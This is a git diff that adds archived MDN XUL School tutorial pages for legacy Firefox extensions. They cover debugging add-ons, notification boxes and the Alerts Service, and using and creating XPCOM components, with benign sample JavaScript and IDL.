+<p>There are also some configuration changes you shloud make in your testing profiles, so that you get detailed error information in case something fails. The Firefox <a href="/en/Error_Console" title="en/Error Console">Error Console</a> (Tools &gt; Error Console) normally displays JavaScript errors that occur on web pages, but with some tweaking you can get error information from your extension. Read this piece on <a href="/en/Setting_up_extension_development_environment#Development_preferences" title="en/Setting up extension development environment#Development preferences"><span class="external">Development preferences</span></a>.</p>
+
+<h2 id="Developer_extensions">Developer extensions</h2>
+
+<p>There's a wide variety of Firefox extensions that aid web development and add-on development. A good place to look for them is the <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/browse/type:1/cat:4">Mozilla Add-ons site</a>, and there's also a good <a href="/en/Setting_up_extension_development_environment#Development_extensions" title="en/Setting up extension development environment#Development extensions"><span class="external">development extension list</span></a> here. In this section we'll cover a few that we have found to be very useful.</p>
+
+<h3 id="DOM_Inspector">DOM Inspector</h3>
+
+<p>The <a href="/en/DOM_Inspector" title="en/DOM Inspector"><span class="external">DOM Inspector</span></a> used to be part of Firefox as an installer option, but since Firefox 3 it has been separated as another add-on you can add and remove. It's a very useful inspection tool that lets you look into the DOM of HTML and XUL documents, as well as applied CSS rules and associated JavaScript objects. <a href="/en/DOM_Inspector/Introduction_to_DOM_Inspector" title="en/Introduction to DOM Inspector">Introduction to DOM Inspector</a> is a good guide on how to get started using it.</p>
+
+<p>The DOM inspector is particularly useful in finding out how to overlay a window, and how to replace default CSS style rules. You can see the names of the files involved, which gives you a good starting point when looking into the <a class="external" href="http://mxr.mozilla.org/">Mozilla source</a>. You can even change styles, attributes and execute Javascript code in it, although that's not completely reliable.</p>
+
+<h3 id="JavaScript_Debugger">JavaScript Debugger</h3>
+
+<p>The name says it all. The <a href="/en/Venkman" title="en/Venkman">Venkman JavaScript Debugger</a> is a great way to trace execution of your JavaScript code.</p>
+
+<p>To debug extension and browser code, right-click on the Loaded Scripts panel and uncheck Exclude Browser Files. The list of loaded scripts will grow long to include all of the scripts in Firefox. Having our file naming conventions prove very useful in this case. You can set breakpoints, step in and out of methods, and even get profiling information from Javascript execution. You can inspect variables, keep track of watch expressions, and evaluate arbitrary JS at any point in execution.</p>
+
+<p>This extension has seen little maintenance in quite some time, so it is very buggy. It is specially unreliable when debugging code in Javascript XPCOM and XBL files. Nevertheless, it is a valuable tool when trying to figure out why a certain function is misbehaving.</p>
+
+<h3 id="Tamper_Data">Tamper Data</h3>
+
+<p><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/966" title="https://addons.mozilla.org/en-US/firefox/addon/966">Tamper Data</a> intercepts HTTP requests and their responses. It allows you to cancel them and even replace payload data before it is sent. There are several similar extensions, such as <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/3829">Live HTTP Headers</a>, but Tamper Data is the one that we use the most. We'll cover more on HTTP debugging later on.</p>
+
+<h3 id="Firebug">Firebug</h3>
+
+<p>The <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/1843" title="https://addons.mozilla.org/en-US/firefox/addon/1843">Firebug</a> extension includes pretty much all tools mentioned so far, but it's mostly focused on web development. The <a class="external" href="http://getfirebug.com/wiki/index.php/Chromebug_User_Guide" title="http://getfirebug.com/wiki/index.php/Chromebug_User_Guide">Chromebug</a> extension helps in making Firebug more useful for extension development, but it may still not be powerful enough to replace all of the previously mentioned add-ons.</p>
+
+<p>On the other hand, Firebug has a very friendly, integrated user interface, and sees much more development that its counterparts. It's definitely worth a try.</p>
+
+<h3 id="Leak_Monitor">Leak Monitor</h3>
+
+<p>Memory leaks have always been a big criticism drawn against Firefox. Mozilla has proven with time that they take memory usage seriously, improving performance on several critical areas and removing all kinds of memory leaks.</p>
+
+<p>However, extensions are also capable of causing memory leaks. If you want your extension to be included in the Mozilla Add-ons site, you better not have any memory leaks. <a href="/en/Using_XPCOM_in_JavaScript_without_leaking" title="en/Using XPCOM in JavaScript without leaking"><span class="external">Using XPCOM in JavaScript</span></a> has some guidelines you should follow to avoid them. One of the most common errors developers make is to register a JS event listener or observer, and never removing it. The simple practice of always including removal code for everything you add makes a big difference.</p>
+
+<p>To make sure your extension doesn't leak, you should use the <a href="/en/Leak_Monitor" title="en/Leak Monitor"><span class="external">Leak Monitor extension</span></a> when testing it. Always test opening and closing windows. Leaks usually surface when doing this.</p>
+
+<h2 id="Exercise">Exercise</h2>
+
+<ul>
+ <li>Set up a new Firefox profile for XUL School. Make sure you can open and close your XUL School Firefox without having to close the instance of Firefox you use to browse normally (you <em>do</em> use Firefox, don't you?). Make any modifications you want to the XUL School project, and use <em>make</em> and <em>make install</em> to see the extension work with your changes.</li>
+ <li>Install DOM Inspector. Use it to locate the menu you created. Inspect the CSS rules Firefox applies to it by default. Look at the final, computed style for the menu items. Browse around the rest of the Firefox DOM, and try to figure out what the nodes correspond to in the Firefox UI.</li>
+ <li>Install the JavaScript Debugger. Add a breakpoint to your hello wold function and run it. Inspect the variables available in the scope. Run JavaScript code in the console to the right-hand side.</li>
+ <li>Install the Tamper Data extension. Open the Tamper Data window and go to a AJAX-heavy page such as Gmail or Facebook (don't click on the Start Tamper button, it's not necessary for this). Try to identify what is going on with some of the requests being sent.</li>
+</ul>
+
+<p>Now that you know how to quickly monitor your project and test changes, we'll learn how to add new UI elements to Firefox, through overlays and new windows.</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Elementos_esenciales_de_una_extensión", "Escuela_XUL/Agregar_menus_y_submenus") }}</p>
+
+<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/notificaciones_de_usuario_y_alertas/index.html b/files/es/mozilla/tech/xul/escuela_xul/notificaciones_de_usuario_y_alertas/index.html
new file mode 100644
index 0000000000..efce29ae52
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/notificaciones_de_usuario_y_alertas/index.html
@@ -0,0 +1,94 @@
+---
+title: Notificaciones de usuario y alertas
+slug: Mozilla/Tech/XUL/Escuela_XUL/Notificaciones_de_usuario_y_alertas
+translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/User_Notifications_and_Alerts
+---
+<p>{{AddonSidebar}}</p>
+
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}}</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Personalizar_elementos_XUL_con_XBL", "Escuela_XUL/Documentación_de_Mozilla") }}</p>
+
+<p>It is often the case that extensions need to notify users about important events, often requiring some response. Using modal dialogs and alerts is usually a bad idea. They interrupt the user's workflow, demanding immediate action before anything else can be done. Users will find them annoying and probably will learn to dismiss them as quickly as possible without even reading what they have to say. Or they will just get rid your add-on.</p>
+
+<p>This section lists a few alternatives that give you the possibility of notifying the user and requesting action without being too annoying.</p>
+
+<h2 id="The_notificationbox_element">The notificationbox element</h2>
+
+<p>You have probably seen these before. The "remember password" prompt is the one that shows up the most often. They are thin boxes that appear from beneath the tab list and above the page content, with some text and maybe a few buttons. This kind of notification is implemented with a <a href="/en/XUL/notificationbox" title="en/XUL/notificationbox">notificationbox</a>.</p>
+
+<p>This kind on notification is very easy to implement, it doesn't interrupt the user and is easy to read and dismiss, so it is our recommended way of displaying alerts and notifications. There's a catch, though: these notifications are <em>inside</em> the current tab, so switching tabs will make a notification disappear. The notification shows up again when you come back to the tab that displayed it. This means that these notifications make the most sense when they are related to the page currently being displayed, such as a page trying to install an add-on, or a site you just entered a password on.</p>
+
+<p>Notification boxes are very easy to create, and are very customizable:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">let nb = gBrowser.getNotificationBox();
+let acceptButton = new Object();
+let declineButton = new Object();
+let message =
+  this._bundle.getString("xulschoolhello.friendMessage.label");
+let that = this;
+
+acceptButton.label =
+  this._bundle.getString("xulschoolhello.acceptButton.label");
+acceptButton.accessKey =
+  this._bundle.getString("xulschoolhello.acceptButton.accesskey");
+acceptButton.popup = null;
+acceptButton.callback = function() { that.acceptRequest(); };
+// similarly for decline button.
+nb.appendNotification(
+  message, "xulschoolhello-friend-notification",
+  "<a class="external" rel="freelink">chrome://xulschoolhello/skin/friend-notification.png</a>",
+  nb.PRIORITY_INFO_HIGH, [ acceptButton, declineButton ]);</pre>
+</div>
+</div>
+
+<p>All browser tabs have a notification box by default, so you don't need to do any overlaying. The <em>notificationbox</em> elements can be obtained from the <em>gBrowser</em> object. In this case we don't pass any arguments to <a href="/en/XUL/tabbrowser#m-getNotificationBox" title="en/XUL/tabbrowser#m-getNotificationBox">getNotificationBox</a> so that we get the notification box that corresponds to the tab currently on display. The <a href="/en/XUL/notificationbox#m-appendNotification" title="en/XUL/notificationbox#m-appendNotification">appendNotification</a> method takes the message, id, image (32x32), level and buttons. The level argument determines the "strength" of the message, indicated by its background color when it is displayed. You should look for the level that better fits your message, and use the lowest applicable level, to prevent the user from getting used to dismissing high-level notifications. The buttons are represented by simple JS data objects. This is all explained in detail in the <a href="/en/XUL/notificationbox" title="en/XUL/notificationbox">notificationbox</a> page.</p>
+
+<p>Notification boxes are designed to be easily dismissed. All notifications have an additional close button, so you should take into account that it's possible that none of your custom buttons will be clicked. Also, clicking on any of your custom buttons will cause the notification to be immediately closed, so you should only use notification boxes for single-step processes.</p>
+
+<h2 id="The_Alerts_Service">The Alerts Service</h2>
+
+<p>This is a very good option when you want to alert users about events without requiring input from them. Alerts are displayed in an OS-specific way, so their look is native. You can associate an action to the user clicking on the alert. Another advantage is that you use an XPCOM service to do this (<a href="/en/XPCOM_Interface_Reference/nsIAlertsService" title="en/XPCOM Interface Reference/nsIAlertsService">nsIAlertsService</a>), so you can easily trigger alerts from chrome and non-chrome code. On the other hand, alerts are displayed only temporarily</p>
+
+<p>Using the Alerts Service is similar to using notification boxes:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">let alertsService =
+  Cc["@mozilla.org/alerts-service;1"].getService(Ci.nsIAlertsService);
+let title = this._bundle.getString("xulschoolhello.greeting.title");
+let message = this._bundle.getString("xulschoolhello.greeting.label");
+
+alertsService.showAlertNotification(
+  "<a class="external" rel="freelink">chrome://xulschoolhello/skin/hello-notification.png</a>",
+  title, message, true, "", this, "XULSchool Hello Message");</pre>
+</div>
+</div>
+
+<p>We pass <em>this</em> as an argument, assuming that <em>this</em> is an object that implements <a href="/en/XPCOM_Interface_Reference/nsIObserver" title="en/nsIObserver">nsIObserver</a>. We do this when we need to handle clicks on the alert box. The image can have any size, but it is recommended that you use a medium, fixed size.</p>
+
+<p>The main disadvantage of using alerts is that support for the Alerts Service is not guaranteed for all platforms and Firefox versions. Support for Windows has existed since Firefox 2. For Mac OS X, support was added on Firefox 3, and only through a third-party tool called Growl. On Linux systems, we have confirmed that it works on Firefox 3 on Ubuntu Linux, but we haven't tested all distributions and Firefox versions.</p>
+
+<p>Because of the inconsistent support and temporary nature of these alerts, we don't recommend using this service to show information the user needs to know and can't get in any other way.</p>
+
+<h2 id="Custom_alerts">Custom alerts</h2>
+
+<p>Creating custom solutions for alerting the user is not complicated, given the advantages of XUL overlays and CSS positioning. However, these solutions are prone to be buggy and have accessibility issues. You should use the 2 alternatives mentioned above whenever possible. If none of those fit your needs then this is an acceptable solution.</p>
+
+<p>An easy way to display alerts is to include a hidden box in your overlay, which you can fill with any content you need before removing the hidden attribute so that it is displayed to the user. The best locations for this kind of box are above and below the tab browser. Below is preferrable because it only cuts the bottom part of the current page, as opposed to pushing down all tabs and content. Notification boxes are a good guideline to what you should aim for: thin, informative and easy to dismiss.</p>
+
+<p>Another option is to also add a hidden box to the overlay, but use CSS positioning to locate it where you want. This usually means that the box will be hovering on top of the page's content, and there are a few things you must know about this. First of all, switching tabs will probably make your alert disappear. This is probably due to the fact that the browser tab box uses a deck internally, and that affects <a class="external" href="http://www.w3schools.com/Css/pr_pos_z-index.asp">z-indexing</a>. You'll have to code around this using tab events in order to know when to re-display your alert. Another problem you need to take into account is that transparency of floating XUL on the Mac OS version of Firefox 2 doesn't work. You'll end up with a box with a white background you can't get rid of . On Firefox 3 and above, this seems to have been corrected, using the <a href="/en/XUL/panel" title="en/XUL/panel">panel</a> element.</p>
+
+<p>The bottom right corner of the browser is the recommended location for an alert, because it normally doesn't block the part of the content where the user is reading, or the most important parts of page content, such as menus and titles.</p>
+
+<p>Remember this is not a recommended practice. Imagine having multiple extensions notifying you in their own custom way, probably even at the same time! This is not good from a UI perspective, so you consider custom alerts the very last resort.</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Personalizar_elementos_XUL_con_XBL", "Escuela_XUL/Documentación_de_Mozilla") }}</p>
+
+<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/objetos_xpcom/index.html b/files/es/mozilla/tech/xul/escuela_xul/objetos_xpcom/index.html
new file mode 100644
index 0000000000..497781a405
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/objetos_xpcom/index.html
@@ -0,0 +1,378 @@
+---
+title: Objetos XPCOM
+slug: Mozilla/Tech/XUL/Escuela_XUL/Objetos_XPCOM
+translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/XPCOM_Objects
+---
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}}{{AddonSidebar}}</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Uso_de_objetos_en_JavaScript", "Escuela_XUL/Notificaciones_Observer") }}</p>
+
+<h2 id="XPCOM">XPCOM</h2>
+
+<blockquote>
+<p><strong>XPCOM</strong> is a cross platform component object model, similar to Microsoft COM.</p>
+</blockquote>
+
+<p>Taken from the <a href="/en/XPCOM" title="en/XPCOM">XPCOM page</a>.</p>
+
+<p>Firefox can be seen as composed of two layers. The largest of the two is a compiled platform, mostly written in C++. On top of it lies the chrome, mostly written in XML, Javascript and CSS. In fact, you can separate the two. We often mention other "Mozilla based applications". Well, those are applications that, simply put, take the underlying platform with perhaps a few changes and additions, and then write their own chrome layer. This lower layer is called <a href="/en/XULRunner" title="en/XULRunner">XULRunner</a>, and it is a very powerful platform, providing a very robust development base for web-enabled, cross-platform applications. The fact that it allows to easily create OS-independent applications is a big selling point for XULRunner.</p>
+
+<p>XPCOM is the way in which the two layers (XULRunner and chrome) communicate. Most of the objects and functions in the lower layers are hidden from the chrome; those that need to be publicized are exposed through XPCOM components and interfaces. You can think of XPCOM as a reference to all the capabilities available on the lower layers of Firefox.</p>
+
+<p>Using XPCOM components is relatively simple, as you've seen in previous examples.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">this.obsService = Cc["@mozilla.org/observer-service;1"].getService(Ci.nsIObserverService);</pre>
+</div>
+</div>
+
+<p>The <em>Cc</em> object (<a href="/en/Components.classes" title="en/Components.classes">Components.classes</a>) is an index to static objects and class definitions available through XPCOM. The string between the brackets is just an identifier, in this case corresponding to the Observer service. You'll usually know what string to use by reading examples and documentation. There is no comprehensive list of these (that we know of), and that's understandable since it would be a very long list, and it can be extended by add-ons. If you want to see the list in your current Firefox installation, just run the following code in the Error Console:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">var str = ""; for (var i in Components.classes) { str += i + "\n" }; str</pre>
+</div>
+</div>
+
+<p>A run on Firefox 3.6.2 with a few extensions installed yields 876 strings. That's quite a lot. Luckily, you'll only need to know a handful of those for extension development. The <em>@mozilla.org/</em> prefix is just a way to keep things namespaced. We would use something like <em>@xulschool.com/</em> to make our own components.</p>
+
+<p>Components are either services (static objects) or instances of classes, just like the objects we handle in JS. The method you call on <em>Cc["some-string"]</em> should either be <em>getService</em> or <em>createInstance</em>, depending on what you're asking for. In most cases it is very clear which one to call, but in case of doubt, look for documentation on it. Those two methods always receive the interface identifier as an argument.</p>
+
+<p>Similarly to <em>Cc</em>, <em>Ci</em> (<a href="/en/Components.interfaces" title="en/Components.interfaces">Components.interfaces</a>) is an index of available interfaces. A modified version of the last code snippet produces an even longer list of available interfaces. Just like in component identifiers, the <em>nsI</em> prefix is just a way of keeping things in order. The NS stands for Netscape, Mozilla's predecessor. The "I" stands for interface. Our interfaces should begin with something like <em>xsIHello</em>.</p>
+
+<p>An interface is just a definition of a set of attributes and methods that an object implementing it should have. XPCOM components can implement multiple interfaces, and they often do. Let's look at the Preference service as an example of this. We'll look at its documentation in a very old XUL site called <a class="external" href="http://www.xulplanet.com/">XUL Planet</a>. All of its documentation was planned to be migrated to MDC, but it looks like it was never finished and XUL Planet was discontinued. Their XPCOM documentation is better in terms of seeing the relationships between components and interfaces, so we'll use that.</p>
+
+<p>Another useful resource is <a class="external" href="http://www.oxymoronical.com/experiments/xpcomref/" title="http://www.oxymoronical.com/experiments/xpcomref/">this XPCOM reference</a>. This is generated from source, and it's kept relatively up to date. It shows the relationships between components and interfaces, but it's more of a source browser than a documentation reference.</p>
+
+<p>Stepping into the time machine, we see the <a class="external" href="http://web.archive.org/web/20080311100120/http://www.xulplanet.com/references/xpcomref/comps/c_preferencesservice1.html" title="http://web.archive.org/web/20080311100120/http://www.xulplanet.com/references/xpcomref/comps/c_preferencesservice1.html">Preferences Service component page</a>. Right at the top you can see a list of the interfaces it implements, with a link to a documentation page for each one of them. Then you'll see a list of all members of this object, with some documentation about it. It is particularly important to note that, for every member in the component, you'll see in what interface this member is defined. Clicking on the link for the <em>getBranch</em> method takes you to the <a class="external" href="http://web.archive.org/web/20080305031645/www.xulplanet.com/references/xpcomref/ifaces/nsIPrefService.html#method_getBranch" title="http://web.archive.org/web/20080305031645/www.xulplanet.com/references/xpcomref/ifaces/nsIPrefService.html#method_getBranch">nsIPrefService documentation page</a>, where you can see more details on the interface and the method. You can also see a list of what components implement this interface. All of this documentation is generated from the one present in the Firefox source files, so it's in general very complete and well written. It's a shame XUL Planet is no longer with us.</p>
+
+<p>Interfaces can be awkward to handle. If you want to call a method or use an attribute of interface X in a component, you first need to "cast" the component to interface X. This is done via the <em>QueryInterface</em> method that is included in all XPCOM components.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">this._prefService =
+  Cc["@mozilla.org/preferences-service;1"].getService(Ci.nsIPrefBranch);
+
+this._prefValue = this._prefService.getBoolPref("somePreferenceName");
+
+this._prefService.QueryInterface(Ci.nsIPrefBranch2);
+this._prefService.addObserver("somePreferenceName", this, false);
+this._prefService.QueryInterface(Ci.nsIPrefBranch);</pre>
+</div>
+</div>
+
+<p>This is a common piece of code you'll see when initializing components or JSM that rely on preferences. We use the Preferences Service to get and set preference values, such as the preference value we're getting on the fourth line of code. These methods are in the <em>nsIPrefBranch</em> interface. The <em>getService</em> and <em>createInstance</em> methods allow you to get the component already set to an interface. In many cases you only need to use one interface, and you won't have to worry about <em>QueryInterface</em>. But in this case we need to change the interface to <em>nsIPrefBranch2</em>, which is the one that includes the method that adds a preference observer. Then we change it back, because after that we only need to get and set preferences, and those methods are in <em>nsIPrefBranch</em>.</p>
+
+<div class="note">Trying to access methods or attributes without having the right interface set will result in an exception being thrown.</div>
+
+<h2 id="Passing_parameters">Passing parameters</h2>
+
+<p>Passing parameters to XPCOM methods is no different from other JS objects, with some exceptions. In general, you can rely on JavaScript's ability to transform values to the correct type, but it's usually best to pass the right type in the first place. This section is a quick guide on how to read XPCOM documentation, which basically amounts to understanding the syntax of <a href="/en/XPIDL" title="en/XPIDL">XPIDL</a>, the language used to specify XPCOM interfaces.</p>
+
+<p>At MDC, you'll see stuff like this:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">void setCharPref(in string aPrefName, in string aValue);</pre>
+</div>
+</div>
+
+<p>One of the most important details to notice is that both paratemers have the <em>in</em> keyword. This specifies that these are input parameters, values that the method will use to perform its actions. When is a parameter not an <em>in</em> parameter? In some methods the <em>out</em> keyword is used for parameters that are return values in reality. This is done for certain value types that are not valid as return values in IDL, such as typed arrays.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">void getChildList(in string aStartingAt, out unsigned long aCount,[array, size_is(aCount), retval] out string aChildArray);</pre>
+</div>
+</div>
+
+<p>This method returns an array of strings. The first parameter is an input that tells the method where to start looking. The second one will hold the length of the return array, and the third parameter will hold the array itself. Note the metadata included in the square brackets, indicating that the parameter is an array, and that its size is determined by the <em>aCount</em> parameter.  Here's one way to invoke this method:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">let childArrayObj = new Object();
+let childArray;
+
+this._prefService.getChildList("", {}, childArrayObj);
+
+// .value holds the actual array.
+childArray = childArrayObj.value;</pre>
+</div>
+</div>
+
+<p>The general rule for <em>out</em> parameters is that you can pass an empty object, and then you can get the result by accessing the <em>value</em> attribute in this object after the method call. The method will set <em>value</em> for you. Also, since JS arrays have the <em>length</em> attribute to get their length, there's no need for the second parameter to be used, so we just pass it an empty object that we won't use. The second parameter is only necessary for callers from within C++ code that use pointers instead of high-level arrays.</p>
+
+<p>Some commonly used XPCOM methods require other XPCOM types as parameters. The <em>addObserver</em> method in <em>nsIPrefBranch2</em> is an example of this.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">void addObserver(in string aDomain, in nsIObserver aObserver, in boolean aHoldWeak);</pre>
+</div>
+</div>
+
+<p>Luckily, you don't have to do anything special if you want to register your JS object as a preference observer. The <em>nsIObserver</em> has a single method <em>observe</em>, so all you need to do is have an <em>observe</em> method in your object and you'll be OK.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">XULSchool.PrefObserver = {
+  init: function() {
+
+    this._prefService =
+      Cc["@mozilla.org/preferences-service;1"].getService(Ci.nsIPrefBranch2);
+    // pass 'this' as if it implemented nsIObserver.
+    this._prefService.addObserver(
+      "extensions.xulschoolhello.somePref", this, false);
+  },
+
+  observe : function(aSubject, aTopic, aData) {
+    // do stuff here.
+  }
+};</pre>
+</div>
+</div>
+
+<p>Finally, here's a table summarizing the types you will most likely encounter in XPCOM interfaces, and how to handle them:</p>
+
+<table style="width: 100%;">
+ <tbody>
+  <tr>
+   <th class="confluenceTh">JS type</th>
+   <th class="confluenceTh">IDL types</th>
+   <th class="confluenceTh">Notes</th>
+  </tr>
+  <tr>
+   <td class="confluenceTd">Strings</td>
+   <td class="confluenceTd">AUTF8String, string, wstring, char*, others</td>
+   <td class="confluenceTd">Historically there have been several string types in XPCOM. The currently favored type for most cases is <em>AUTF8String</em>. You can read more about it in the <a href="/En/Mozilla_internal_string_guide" title="En/Mozilla internal string guide">XPCOM String Guide</a>.</td>
+  </tr>
+  <tr>
+   <td class="confluenceTd">Integers</td>
+   <td class="confluenceTd">short, unsigned short, long, unsigned long, PRInt32, PRUInt32</td>
+   <td class="confluenceTd"><em>PRInt32</em> is the equivalent to <em>long</em>. Most <em>PR*</em> types have an easier to read equivalent, so it is better to use those.</td>
+  </tr>
+  <tr>
+   <td class="confluenceTd">Floating point</td>
+   <td class="confluenceTd">float</td>
+   <td class="confluenceTd"> </td>
+  </tr>
+  <tr>
+   <td class="confluenceTd">Boolean</td>
+   <td class="confluenceTd">boolean, PRBool</td>
+   <td class="confluenceTd"> </td>
+  </tr>
+  <tr>
+   <td class="confluenceTd">Void</td>
+   <td class="confluenceTd">void</td>
+   <td class="confluenceTd"> </td>
+  </tr>
+  <tr>
+   <td class="confluenceTd">Timestamps</td>
+   <td class="confluenceTd">PRTime</td>
+   <td class="confluenceTd">This type is used to pass timestamps measured in milliseconds, such as the output of the <em>getTime()</em> method in a Javascript Date object.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>There are more details about XPIDL in the <a href="/en/XPIDL/Syntax" title="en/XPIDL/Syntax">XPDIL Syntax definition</a>.</p>
+
+<h2 id="Creating_Your_Own_Components">Creating Your Own Components</h2>
+
+<h3 id="JavaScript_XPCOM_Components">JavaScript XPCOM Components</h3>
+
+<p>As we've said before, we recommend using JSM whenever you can. Yet there are some cases where you don't have a choice and you have to create XPCOM components to add a specific feature. In these cases you can choose between compiled XPCOM components, written in C++, or JS XPCOM components. You should favor the latter, they are much less complicated to make and maintain.</p>
+
+<p>Most of the time you'll need 2 source files for a JS XPCOM component: the IDL interface file, and the implementation JS file. In your final extension XPI you'll need to include the JS implementation file, and the XPT file, which is a compiled version of your IDL file. You won't need the IDL or XPT files if your components only use pre-existing Firefox interfaces. In this case you may also find it easier to implement your component using JSM and the <a href="/en/JavaScript_code_modules/XPCOMUtils.jsm" title="en/JavaScript code modules/XPCOMUtils.jsm">XPCOMUtils module</a>.</p>
+
+<p>Download this version of the <a href="/@api/deki/files/5144/=HelloWorld4.zip" title="https://developer.mozilla.org/@api/deki/files/5144/=HelloWorld4.zip">Hello World project with XPCOM</a> to see how XPCOM files are structured in the project and built. (Your build will probably break, we'll cover this later on.)</p>
+
+<p>In the <em>components</em> directory, the file <em>xsIHelloCounter.idl</em> has the following contents:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">#include "nsISupports.idl"
+
+/**
+ * Counter for the Hello World extension. Keeps track of how many times the
+ * hello world message has been shown.
+ */
+[scriptable, uuid(BD46F689-6C1D-47D0-BC07-BB52B546B8B5)]
+interface xsIHelloCounter : nsISupports
+{
+  /* The maximum allowed count. */
+  const short MAX_COUNT = 100;
+
+  /* The current count. */
+  readonly attribute short count;
+
+  /**
+   * Increments the display count and returns the new count.
+   * @return the incremented count.
+   */
+  short increment();
+};</pre>
+</div>
+</div>
+
+<p>The bits about <em>nsISupports</em> are common to most XPCOM interface definitions. <em>nsISupports</em> is the base interface for all interfaces, so it should always be included, except for cases where your interface extends another interface. In those cases you just need to replace <em>nsISupports</em> with the interface you're extending. You can also extend from multiple interfaces, by including a comma-separated list of interfaces instead of only one.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">[scriptable, uuid(BD46F689-6C1D-47D0-BC07-BB52B546B8B5)]</pre>
+</div>
+</div>
+
+<p>The <em>scriptable</em> qualifier says that this component can be accessed from JS code. This can also be specified on a per-method basis, which is something you'll see in some of the interfaces in Firefox, but it's not likely you'll have to do it in your own components. The second part defines a UUID for the interface. You must generate a new one for each interface, and you should change it every time the interface changes. In this case you're forced to use UUID, the email address format used for extension ids won't work.</p>
+
+<p>We included a constant, an attribute and a method to display examples of the 3, but this is clearly an overly elaborate way to keep a simple counter.</p>
+
+<p>You can define numeric and boolean constants in IDL files, but not string constants. This is a known limitation of XPIDL, and a simple workaround is to define a <em>readonly attribute</em> instead. This means you have to define a getter in the implementation file, though. You can access constants through a reference of the component, or directly from the interface:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">// these are equivalent.
+max = Ci.xsIHelloCounter.MAX_COUNT;
+max = counterReference.MAX_COUNT;</pre>
+</div>
+</div>
+
+<p>The implementation file, <em>xsHelloCounter.js</em>, is much longer. We'll analyze it piece by piece.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">const Cc = Components.classes;
+const Ci = Components.interfaces;
+const Cr = Components.results;
+const Ce = Components.Exception;</pre>
+</div>
+</div>
+
+<p>You should be familiar with this already, although there are a couple of additions, <a href="/en/Components.results" title="en/Components.results">Components.results</a> and <a href="/en/Components.Exception" title="en/Components.Exception">Components.Exception</a>. They'll be used further ahead.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">const CLASS_ID = Components.ID("{37ED5D2A-E223-4386-9854-B64FD38932BF}");
+const CLASS_NAME = "Hello World Counter";
+const CONTRACT_ID = "@xulschool.com/counter;1";</pre>
+</div>
+</div>
+
+<p>These constants are used at the bottom, in the component registration code. They specify the details of the component, such as a unique UUID (you have to generate it too and it must be different from the IDL UUID), a descriptive name (this isn't used anywhere that we know of), and the contract ID, which is the string you use to get a reference to the component. The <em>";1"</em> at the end of the string is supposed to indicate the version of the component, although it shouldn't change much. It can be useful if there are multiple incompatible versions of the component installed at the same time.</p>
+
+<p>The implementation object itself should be easy to understand. The only aspects to take into account are that methods and attributes must have the same names as their IDL counterparts, and that the <em>QueryInterface</em> method is implemented:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">QueryInterface : function(aIID) {
+  if (!aIID.equals(Ci.xsIHelloCounter) &amp;&amp;
+      !aIID.equals(Ci.nsISupports)) {
+    throw Cr.NS_ERROR_NO_INTERFACE;
+ }
+
+  return this;
+}</pre>
+</div>
+</div>
+
+<p>The method is very simple, it validates that the caller is requesting a supported interface, otherwise it throws an exception.</p>
+
+<p>The rest of the code looks long and complicated, but it is pretty much the same for all components, so you shouldn't worry too much about it. All you have to do to use it in other components is copy it and change some names. The purpose of this code is to register the component so that you can get references to it just like all other Firefox components. It is better read from bottom to top.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">function NSGetModule(aCompMgr, aFileSpec) {
+  return CounterModule;
+}</pre>
+</div>
+</div>
+
+<p>This piece of code is the first one that Firefox looks for in all implementation files in the <em>components</em> directory. It simply returns the object that precedes it.</p>
+
+<div class="code panel" style="border-width: 1px;">
